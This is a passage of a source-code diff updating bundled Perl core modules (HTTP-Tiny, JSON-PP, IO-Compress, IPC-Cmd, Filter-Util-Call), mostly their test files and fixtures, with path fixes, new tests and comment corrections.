@@ -4,7 +4,7 @@ use rt_101033;
print "1..1\n";
my $s = <DATA>;
-print "not " if $s !~ /^test/;
+print "not " if !$s or $s !~ /^test/;
print "ok 1 # TODO RT #101033 + Switch #97440 ignores __DATA__\n";
__DATA__
diff --git a/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_54452-rebless.t b/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_54452-rebless.t
index b6f7aa02ef9..c212b2d1ee7 100644
--- a/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_54452-rebless.t
+++ b/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_54452-rebless.t
@@ -8,8 +8,9 @@ if ($] < 5.004_55) {
use strict;
use warnings;
+BEGIN { unshift @INC, 't'; }
-require "./filter-util.pl" ;
+require "filter-util.pl" ;
use vars qw( $Inc $Perl) ;
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-02.txt b/gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-02.txt
index 4b540f4462e..3d359d55ec6 100644
--- a/gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-02.txt
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-02.txt
@@ -5,13 +5,17 @@ expected
headers
Accept: */*
X-Custom: This is a custom header
+ x-lower: This is a lower-case custom header
+ authorization: fake auth data
----------
GET /index.html HTTP/1.1
Host: example.com
Accept: */*
+Authorization: fake auth data
Connection: close
User-Agent: HTTP-Tiny/VERSION
X-Custom: This is a custom header
+x-lower: This is a lower-case custom header
----------
HTTP/1.1 200 OK
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-22.txt b/gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-22.txt
new file mode 100644
index 00000000000..d6f20c0656b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-22.txt
@@ -0,0 +1,10 @@
+url
+ http://example.com/index.html
+expected_rc
+ 599
+expected_like
+ Invalid HTTP header field
+headers
+ trailing-space : foo
+----------
+----------
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/004_timeout.t b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/004_timeout.t
new file mode 100644
index 00000000000..95f9bd47994
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/004_timeout.t
@@ -0,0 +1,38 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 5;
+use HTTP::Tiny;
+
+# Just make sure timeout is handled correctly as a constructor param,
+# and that it works as expected as an "attribute".
+
+my $default = 60;
+
+{
+ my $ua = HTTP::Tiny->new();
+ is $ua->timeout, $default, 'default timeout is as expected';
+}
+
+{
+ my $ua = HTTP::Tiny->new(timeout => 10);
+ is $ua->timeout, 10, 'timeout is handled as a constructor param';
+}
+
+{
+ my $ua = HTTP::Tiny->new(timeout => 0);
+ is $ua->timeout, 0, 'constructor arg of timeout=0 is passed through';
+}
+
+{
+ my $ua = HTTP::Tiny->new(timeout => undef);
+ is $ua->timeout, $default, 'constructor arg of timeout=undef is ignored';
+}
+
+{
+ my $ua = HTTP::Tiny->new();
+ $ua->timeout(15);
+ is $ua->timeout, 15, 'timeout works as expected as a r/w attribute';
+}
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/030_response.t b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/030_response.t
index fc72a3afc04..e519a620704 100644
--- a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/030_response.t
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/030_response.t
@@ -4,7 +4,8 @@ use strict;
use warnings;
use Test::More qw[no_plan];
-use t::Util qw[tmpfile rewind $CRLF $LF];
+use lib 't';
+use Util qw[tmpfile rewind $CRLF $LF];
use HTTP::Tiny;
sub _header {
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/040_content.t b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/040_content.t
index 64e432e9e1f..b7406de39fd 100644
--- a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/040_content.t
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/040_content.t
@@ -4,7 +4,8 @@ use strict;
use warnings;
use Test::More qw[no_plan];
-use t::Util qw[tmpfile rewind $CRLF $LF];
+use lib 't';
+use Util qw[tmpfile rewind $CRLF $LF];
use HTTP::Tiny;
{
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/050_chunked_body.t b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/050_chunked_body.t
index b555b00a727..7aff9e07e43 100644
--- a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/050_chunked_body.t
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/050_chunked_body.t
@@ -4,7 +4,8 @@ use strict;
use warnings;
use Test::More qw[no_plan];
-use t::Util qw[tmpfile rewind $CRLF];
+use lib 't';
+use Util qw[tmpfile rewind $CRLF];
use HTTP::Tiny;
{
@@ -14,16 +15,29 @@ use HTTP::Tiny;
}
{
- my $body = join($CRLF, map { sprintf('%x', length $_) . $CRLF . $_ } 'A'..'Z', '') . $CRLF;
- my $fh = tmpfile($body);
+ my $fh = tmpfile();
my $handle = HTTP::Tiny::Handle->new(fh => $fh);
- my $exp = ['A'..'Z'];
- my $got = [];
- my $cb = sub { push @$got, $_[0] };
- my $response = { headers => {} };
- $handle->read_chunked_body($cb, $response);
- is_deeply($response->{headers}, {}, 'chunked trailers');
- is_deeply($got, $exp, "chunked chunks");
+
+ my $exp = ['A'..'Z'];
+ my $got = [];
+
+ {
+ my @chunks = @$exp;
+ my $request = {
+ cb => sub { shift @chunks },
+ };
+ $handle->write_chunked_body($request);
+ }
+
+ rewind($fh);
+
+ {
+ my $cb = sub { push @$got, $_[0] };
+ my $response = { headers => {} };
+ $handle->read_chunked_body($cb, $response);
+ }
+
+ is_deeply($got, $exp, "roundtrip chunked chunks w/o trailers");
}
{
@@ -52,7 +66,7 @@ use HTTP::Tiny;
is_deeply($response->{headers}, $trailers, 'roundtrip chunked trailers');
}
- is_deeply($got, $exp, "roundtrip chunked chunks");
+ is_deeply($got, $exp, "roundtrip chunked chunks (with trailers)");
}
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/070_cookie_jar.t b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/070_cookie_jar.t
index bd09a54fb57..f62c481cb10 100644
--- a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/070_cookie_jar.t
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/070_cookie_jar.t
@@ -4,8 +4,9 @@ use strict;
use warnings;
use Test::More tests => 4;
-use t::SimpleCookieJar;
-use t::BrokenCookieJar;
+use lib 't';
+use SimpleCookieJar;
+use BrokenCookieJar;
use HTTP::Tiny;
### a couple tests to ensure that:
@@ -15,9 +16,9 @@ use HTTP::Tiny;
my $default = undef;
-my $jar = t::SimpleCookieJar->new();
-my $mug = t::BrokenCookieJar->new();
-my $dog = t::BrokenCookieJar2->new();
+my $jar = SimpleCookieJar->new();
+my $mug = BrokenCookieJar->new();
+my $dog = BrokenCookieJar2->new();
{
my $ua = HTTP::Tiny->new();
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/BrokenCookieJar.pm b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/BrokenCookieJar.pm
index f638e203365..3b7d45793ca 100644
--- a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/BrokenCookieJar.pm
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/BrokenCookieJar.pm
@@ -1,4 +1,4 @@
-package t::BrokenCookieJar;
+package BrokenCookieJar;
use strict;
use warnings;
@@ -8,7 +8,7 @@ sub new {
return bless {} => $class;
}
-package t::BrokenCookieJar2;
+package BrokenCookieJar2;
use strict;
use warnings;
diff --git a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/SimpleCookieJar.pm b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/SimpleCookieJar.pm
index 4c8fe083127..a4ffed465e1 100644
--- a/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/SimpleCookieJar.pm
+++ b/gnu/usr.bin/perl/cpan/HTTP-Tiny/t/SimpleCookieJar.pm
@@ -1,4 +1,4 @@
-package t::SimpleCookieJar;
+package SimpleCookieJar;
use strict;
use warnings;
diff --git a/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/CompTestUtils.pm b/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/CompTestUtils.pm
index 9815eb2caaa..da238e15d27 100644
--- a/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/CompTestUtils.pm
+++ b/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/CompTestUtils.pm
@@ -70,8 +70,8 @@ BEGIN {
our ($index);
$index = '00000';
- our ($useTempFile) = defined &File::Temp::tempdir;
- our ($useTempDir) = defined &File::Temp::newdir;
+ our ($useTempFile);
+ our ($useTempDir);
sub new
{
@@ -115,7 +115,12 @@ BEGIN {
# autogenerate the name if none supplied
$_ = "tmpdir" . $$ . "X" . $index ++ . ".tmp" ;
}
- foreach (@_) { rmtree $_; mkdir $_, 0777 }
+ foreach (@_)
+ {
+ rmtree $_, {verbose => 0, safe => 1}
+ if -d $_;
+ mkdir $_, 0777
+ }
bless [ @_ ], $self ;
}
@@ -126,7 +131,11 @@ BEGIN {
if (! $useTempFile)
{
my $self = shift ;
- foreach (@$self) { rmtree $_ }
+ foreach (@$self)
+ {
+ rmtree $_, {verbose => 0, safe => 1}
+ if -d $_ ;
+ }
}
}
}
diff --git a/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/encode.pl b/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/encode.pl
index 875f0ceab71..860d0e46ce1 100644
--- a/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/encode.pl
+++ b/gnu/usr.bin/perl/cpan/IO-Compress/t/compress/encode.pl
@@ -1,7 +1,7 @@
use strict;
use warnings;
-#use bytes;
+use bytes;
use Test::More ;
use CompTestUtils;
diff --git a/gnu/usr.bin/perl/cpan/IPC-Cmd/t/03_run-forked.t b/gnu/usr.bin/perl/cpan/IPC-Cmd/t/03_run-forked.t
index 54253344fd3..42e7709635d 100644
--- a/gnu/usr.bin/perl/cpan/IPC-Cmd/t/03_run-forked.t
+++ b/gnu/usr.bin/perl/cpan/IPC-Cmd/t/03_run-forked.t
@@ -83,6 +83,7 @@ close($fh);
SKIP: {
skip 'Skip these tests in PERL_CORE', 100 if $ENV{PERL_CORE};
+ skip 'These tests heisenfail on HPUX', 100 if $^O eq 'hpux';
for (my $i = 0; $i < 100; $i++) {
my $f_ipc_cmd = IPC::Cmd::run_forked("$cat $filename");
my $f_backticks = `$cat $filename`;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/lib/JSON/PP/Boolean.pm b/gnu/usr.bin/perl/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
index 0b1fb19b2c2..1d1c5c485cc 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
@@ -1,3 +1,19 @@
+package JSON::PP::Boolean;
+
+use strict;
+use overload (
+ "0+" => sub { ${$_[0]} },
+ "++" => sub { $_[0] = ${$_[0]} + 1 },
+ "--" => sub { $_[0] = ${$_[0]} - 1 },
+ fallback => 1,
+);
+
+$JSON::PP::Boolean::VERSION = '2.97001';
+
+1;
+
+__END__
+
=head1 NAME
JSON::PP::Boolean - dummy module providing JSON::PP::Boolean
@@ -11,13 +27,6 @@ JSON::PP::Boolean - dummy module providing JSON::PP::Boolean
This module exists only to provide overload resolution for Storable and similar modules. See
L<JSON::PP> for more info about this class.
-=cut
-
-use JSON::PP ();
-use strict;
-
-1;
-
=head1 AUTHOR
This idea is from L<JSON::XS::Boolean> written by Marc Lehmann <schmorp[at]schmorp.de>
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/001_utf8.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/001_utf8.t
index 65c7d333ee3..e78fdcb11fb 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/001_utf8.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/001_utf8.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
use Test::More;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/002_error.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/002_error.t
index ec42d506984..166bafc3677 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/002_error.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/002_error.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
use Test::More;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/003_types.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/003_types.t
index eaf114bcdcb..22e0f7ec2e0 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/003_types.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/003_types.t
@@ -1,8 +1,8 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
use Test::More;
-BEGIN { plan tests => 76 };
+BEGIN { plan tests => 78 };
BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
@@ -21,6 +21,8 @@ ok ($false == !$true);
ok (JSON::PP::is_bool $false);
ok (++$false == 1);
ok (!JSON::PP::is_bool $false);
+ok (!JSON::PP::is_bool "JSON::PP::Boolean");
+ok (!JSON::PP::is_bool {}); # GH-34
ok (JSON::PP->new->allow_nonref (1)->decode ('5') == 5);
ok (JSON::PP->new->allow_nonref (1)->decode ('-5') == -5);
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/006_pc_pretty.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/006_pc_pretty.t
index b16bed68fdf..2de5c5d37cb 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/006_pc_pretty.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/006_pc_pretty.t
@@ -1,7 +1,5 @@
-#! perl
-
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
use Test::More;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/007_pc_esc.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/007_pc_esc.t
index 980e3a0b032..a5efc8beceb 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/007_pc_esc.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/007_pc_esc.t
@@ -2,13 +2,13 @@
# ã“ã®ãƒ•ァイルã®ã‚¨ãƒ³ã‚³ãƒ¼ãƒ‡ã‚£ãƒ³ã‚°ã¯UTF-8
#
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use Test::More;
use strict;
-BEGIN { plan tests => 17 };
+BEGIN { plan tests => 18 };
BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
@@ -91,3 +91,7 @@ is($obj->{id},"abc\\ndef",q|{"id":"abc\\\ndef"}|);
$obj = $pc->decode(q|{"id":"abc\\\\\ndef"}|);
is($obj->{id},"abc\\\ndef",q|{"id":"abc\\\\\ndef"}|);
+$obj = {test => "\'I said\', \"She said\""};
+$str = $pc->encode($obj);
+is($str,q|{"test":"'I said', \"She said\""}|);
+
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/008_pc_base.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/008_pc_base.t
index 371e62a81fd..bcc9d8e7bd2 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/008_pc_base.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/008_pc_base.t
@@ -1,7 +1,7 @@
use Test::More;
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
BEGIN { plan tests => 20 };
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/009_pc_extra_number.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/009_pc_extra_number.t
index 4357939c2dd..25497a6ff87 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/009_pc_extra_number.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/009_pc_extra_number.t
@@ -1,5 +1,5 @@
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use Test::More;
use strict;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/010_pc_keysort.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/010_pc_keysort.t
index faebaf78259..c5e5c099a4a 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/010_pc_keysort.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/010_pc_keysort.t
@@ -1,5 +1,5 @@
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use Test::More;
use strict;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/011_pc_expo.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/011_pc_expo.t
index 766a8fb8d2e..154a8256ef4 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/011_pc_expo.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/011_pc_expo.t
@@ -1,5 +1,5 @@
-# copied over from JSON::PP::PC and modified to use JSON::PP
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::PC and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use Test::More;
use strict;
@@ -22,8 +22,10 @@ is($js,'[-12.34]', 'digit -12.34');
$js = q|[-1.234e5]|;
$obj = $pc->decode($js);
is($obj->[0], -123400, 'digit -1.234e5');
+{ #SKIP_IF_CPANEL
$js = $pc->encode($obj);
is($js,'[-123400]', 'digit -1.234e5');
+}
$js = q|[1.23E-4]|;
$obj = $pc->decode($js);
@@ -38,10 +40,19 @@ else {
}
-
-$js = q|[1.01e+67]|; # 30 -> 67 ... patched by H.Merijn Brand
-$obj = $pc->decode($js);
-is($obj->[0], 1.01e+67, 'digit 1.01e+67');
-$js = $pc->encode($obj);
-like($js,qr/\[1.01[Ee]\+0?67\]/, 'digit 1.01e+67');
-
+my $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
+
+if ($vax_float) {
+ # VAX has smaller float range.
+ $js = q|[1.01e+37]|;
+ $obj = $pc->decode($js);
+ is($obj->[0], eval '1.01e+37', 'digit 1.01e+37');
+ $js = $pc->encode($obj);
+ like($js,qr/\[1.01[Ee]\+0?37\]/, 'digit 1.01e+37');
+} else {
+ $js = q|[1.01e+67]|; # 30 -> 67 ... patched by H.Merijn Brand
+ $obj = $pc->decode($js);
+ is($obj->[0], eval '1.01e+67', 'digit 1.01e+67');
+ $js = $pc->encode($obj);
+ like($js,qr/\[1.01[Ee]\+0?67\]/, 'digit 1.01e+67');
+}
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/012_blessed.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/012_blessed.t
index 06b4ba40392..7f0b41025c0 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/012_blessed.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/012_blessed.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
use Test::More;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/014_latin1.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/014_latin1.t
index 2277b576225..6c02d627708 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/014_latin1.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/014_latin1.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use Test::More;
use strict;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/015_prefix.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/015_prefix.t
index 74c96a7ac20..b6474fede65 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/015_prefix.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/015_prefix.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
BEGIN { $| = 1; print "1..4\n"; }
BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/016_tied.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/016_tied.t
index 27634158176..96035fea6c0 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/016_tied.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/016_tied.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
use Test::More;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/017_relaxed.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/017_relaxed.t
index b577e33a74d..243f9973e45 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/017_relaxed.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/017_relaxed.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use Test::More;
use strict;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/018_json_checker.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/018_json_checker.t
index c15781377ca..1e84987e6e6 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/018_json_checker.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/018_json_checker.t
@@ -1,9 +1,7 @@
-#! perl
-
-# use the testsuite from http://www.json.org/JSON::PP_checker/
+# use the testsuite from http://www.json.org/JSON_checker/
# except for fail18.json, as we do not support a depth of 20 (but 16 and 32).
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
#no warnings;
@@ -16,6 +14,8 @@ use JSON::PP;
my $json = JSON::PP->new->utf8->max_depth(32)->canonical;
+my $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
+
binmode DATA;
my $num = 1;
for (;;) {
@@ -25,6 +25,9 @@ for (;;) {
or last;
$/ = "\n";
my $name = <DATA>;
+ if ($vax_float && $name =~ /pass1.json/) {
+ $test =~ s/\b23456789012E66\b/23456789012E20/;
+ }
if (my $perl = eval { $json->decode ($test) }) {
ok ($name =~ /^pass/, $name);
#print $json->encode ($perl), "\n";
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/019_incr.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/019_incr.t
index dc84c551060..9d4710bbd94 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/019_incr.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/019_incr.t
@@ -1,6 +1,4 @@
-#!/usr/bin/perl -w
-
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use strict;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/020_unknown.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/020_unknown.t
index ef69338f43c..98e9528f7fe 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/020_unknown.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/020_unknown.t
@@ -1,5 +1,3 @@
-#!/usr/bin/perl -w
-
use strict;
use Test::More;
@@ -42,7 +40,7 @@ my $fh;
open( $fh, '>hoge.txt' ) or die $!;
eval q| $json->encode( [ $fh ] ) |;
-ok( $@ =~ /encountered GLOB/, $@ );
+ok( $@ =~ /encountered GLOB|cannot encode reference to scalar/, $@ );
$json->allow_unknown(1);
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/021_evans_bugrep.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/021_evans_bugrep.t
index e7d6dc5ed9f..ecbfcddc1d6 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/021_evans_bugrep.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/021_evans_bugrep.t
@@ -32,7 +32,7 @@ eval {
$j->incr_text;
};
-like( $@, qr/incr_text can not be called when the incremental parser already started parsing/ );
+like( $@, qr/incr_text can ?not be called when the incremental parser already started parsing/ );
$object = $j->incr_parse($parts[1]);
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/099_binary.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/099_binary.t
index 56f23297fa0..e924305e03d 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/099_binary.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/099_binary.t
@@ -1,4 +1,4 @@
-# copied over from JSON::PP::XS and modified to use JSON::PP
+# copied over from JSON::XS and modified to use JSON::PP
use Test::More;
use strict;
@@ -40,7 +40,7 @@ sub test($) {
ok ($_[0] eq JSON::PP->new->shrink->decode ($js)->[0]);
}
-srand 0; # doesn't help too much, but its at leats more deterministic
+srand 0; # doesn't help too much, but its at least more deterministic
#for (1..768) {
for (1..64, 125..129, 255..257, 512, 704, 736, 768) {
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/108_decode.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/108_decode.t
index 71c2ff5fadc..ae645e99a7c 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/108_decode.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/108_decode.t
@@ -35,7 +35,7 @@ is($json->decode(q|"\u3042"|), $str);
my $utf8 = $json->decode(q|"\ud808\udf45"|); # chr 12345
-utf8::encode($utf8); # UTf-8 flaged off
+utf8::encode($utf8); # UTF-8 flagged off
is($utf8, "\xf0\x92\x8d\x85");
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/110_bignum.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/110_bignum.t
index 9826c613030..c4c282f4370 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/110_bignum.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/110_bignum.t
@@ -1,7 +1,7 @@
use strict;
use Test::More;
-BEGIN { plan tests => 6 };
+BEGIN { plan tests => 9 };
BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
@@ -10,7 +10,7 @@ use JSON::PP;
eval q| require Math::BigInt |;
SKIP: {
- skip "Can't load Math::BigInt.", 6 if ($@);
+ skip "Can't load Math::BigInt.", 9 if ($@);
my $v = Math::BigInt->VERSION;
$v =~ s/_.+$// if $v;
@@ -27,15 +27,24 @@ $json->convert_blessed->allow_blessed;
my $num = $json->decode(q|100000000000000000000000000000000000000|);
-isa_ok($num, 'Math::BigInt');
+ok($num->isa('Math::BigInt'));
is("$num", $fix . '100000000000000000000000000000000000000');
is($json->encode($num), $fix . '100000000000000000000000000000000000000');
+{ #SKIP_UNLESS_PP 2.91_03, 2
+$num = $json->decode(q|10|);
+
+ok(!(ref $num and $num->isa('Math::BigInt')), 'small integer is not a BigInt');
+ok(!(ref $num and $num->isa('Math::BigFloat')), 'small integer is not a BigFloat');
+}
+
$num = $json->decode(q|2.0000000000000000001|);
-isa_ok($num, 'Math::BigFloat');
+ok($num->isa('Math::BigFloat'));
is("$num", '2.0000000000000000001');
is($json->encode($num), '2.0000000000000000001');
-
+{ #SKIP_UNLESS_PP 2.90, 1
+is($json->encode([Math::BigInt->new("0")]), "[${fix}0]", "zero bigint is 0 (the number), not '0' (the string)" );
+}
}
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/113_overloaded_eq.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/113_overloaded_eq.t
index 7b56ab3e24f..1b61c48fb20 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/113_overloaded_eq.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/113_overloaded_eq.t
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
use strict;
use Test::More tests => 4;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/114_decode_prefix.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/114_decode_prefix.t
index 70d842921fa..915ea1532e7 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/114_decode_prefix.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/114_decode_prefix.t
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
use strict;
use Test::More tests => 8;
